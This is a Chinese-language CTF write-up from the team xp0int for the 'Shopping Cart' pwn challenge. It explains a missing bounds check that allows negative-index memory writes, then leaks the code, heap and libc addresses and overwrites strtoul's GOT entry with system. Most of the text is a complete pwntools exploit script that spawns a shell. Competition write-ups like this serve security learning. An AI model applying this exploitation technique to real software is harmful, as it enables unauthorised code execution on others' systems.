[Pwn]Shopping Cart - Cpt.shao xp0int Posted on Oct 14 2018 ? ASLR ? 这题程序逻辑十分简单,主要分成两步,第一步是获得一定的金钱,第二步就是进入购物的环节,购物环节也是很明了,甚至根本没有处理金钱的逻辑。  问题出在modify_good这个函数里面  如图所示,这里在修改字符串内容之前并没有对数组的index做一个检查,我们就可以通过传入一个负数的index做来读写操作。 为了方便说明漏洞的利用方法,通过下面的图片来展示程序bss的布局。  图中标记了bss段的GOT表,储存money的数组和储存goods的数组,我们可以通过modify_good的操作来对money的type字段进行修改,方法是查找两个指针,然后再对heap上面的内容写入8个byte。理论上来说通过money对象的指针结构,我们在这里就可以达成任意地址写的目的。 但是因为程序开启了PIE,这里必须要leak出必须的地址,首先是代码段地址,然后再能泄露出堆地址,最后是libc地址,获取这些地址以后就可以写got表了。泄露代码段地址主要是通过上图`0x555555756068`这个位置,通过modify写入内容之前的printf操作即可泄露出代码段的地址。有了bss的地址就能够修改good数组上面的内容,先构造出一个unsortedbin来获得libc段地址,再将good的name指针指向unsortedbin,这样就能得到libc地址了。 最后劫持got表的时候改写的是`strtoul`这个函数,在下一次选项操作的时候很方便就能调用到`system('/bin/sh')`了。 ```python from pwn import * context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' env = {'LD_PRELOAD': ''} p = process('./task_shoppingCart') elf = ELF('./task_shoppingCart') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') def get_money(): p.recvuntil('man!') p.sendline('1') p.recvuntil('Dollar?') p.sendline('RMB') def exit_step1(): p.recvuntil('man!') p.sendline('3') def pick_good(size, name): p.sendlineafter('!', '1') p.sendlineafter('?', str(size)) p.sendafter('?', name) def rm_good(idx): p.sendlineafter('!', '2') p.sendlineafter('?', str(idx)) def modify_good(idx, content): p.sendlineafter('!', '3') p.sendlineafter('?', str(idx)) p.sendafter('?', content) for i in range(0x14): get_money() exit_step1() pick_good(0x90, 'a'*0x90) pick_good(0x10, 'b'*0x10) rm_good(0) #leak code p.sendlineafter('!', '3') p.sendlineafter('?', str(-0x2f)) p.recvuntil('modify ') leak_code = u64(p.recv(6)+ '\x00\x00') code_base = leak_code - 0x202068 p.info('leak_code: %x' % leak_code) p.info('code_base: %x' % code_base) p.send(p64(leak_code)) modify_good(-1, p64(code_base + 0x2021e8)) # leak heap p.sendlineafter('!', '3') p.sendlineafter('?', str(-0x15)) p.recvuntil('modify ') leak_heap = u64(p.recv(6)+ '\x00\x00') p.info('leak_heap: %x' % leak_heap) p.send(p64(leak_heap - 0xc0)) #libc p.sendlineafter('!', '3') p.sendlineafter('?', str(1)) p.recvuntil('modify ') leak_heap = u64(p.recv(6)+ '\x00\x00') libc.address = leak_heap - 0x3c4b78 p.info('leak_libc: %x' % leak_heap) p.send(p64(leak_heap)) modify_good(-0x15, p64(code_base + elf.got['strtoul'])) modify_good(1, p64(libc.symbols['system'])) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Misc]迟来的签到题-pyz [Web]easy_tornado-pyz
没有帐号? 立即注册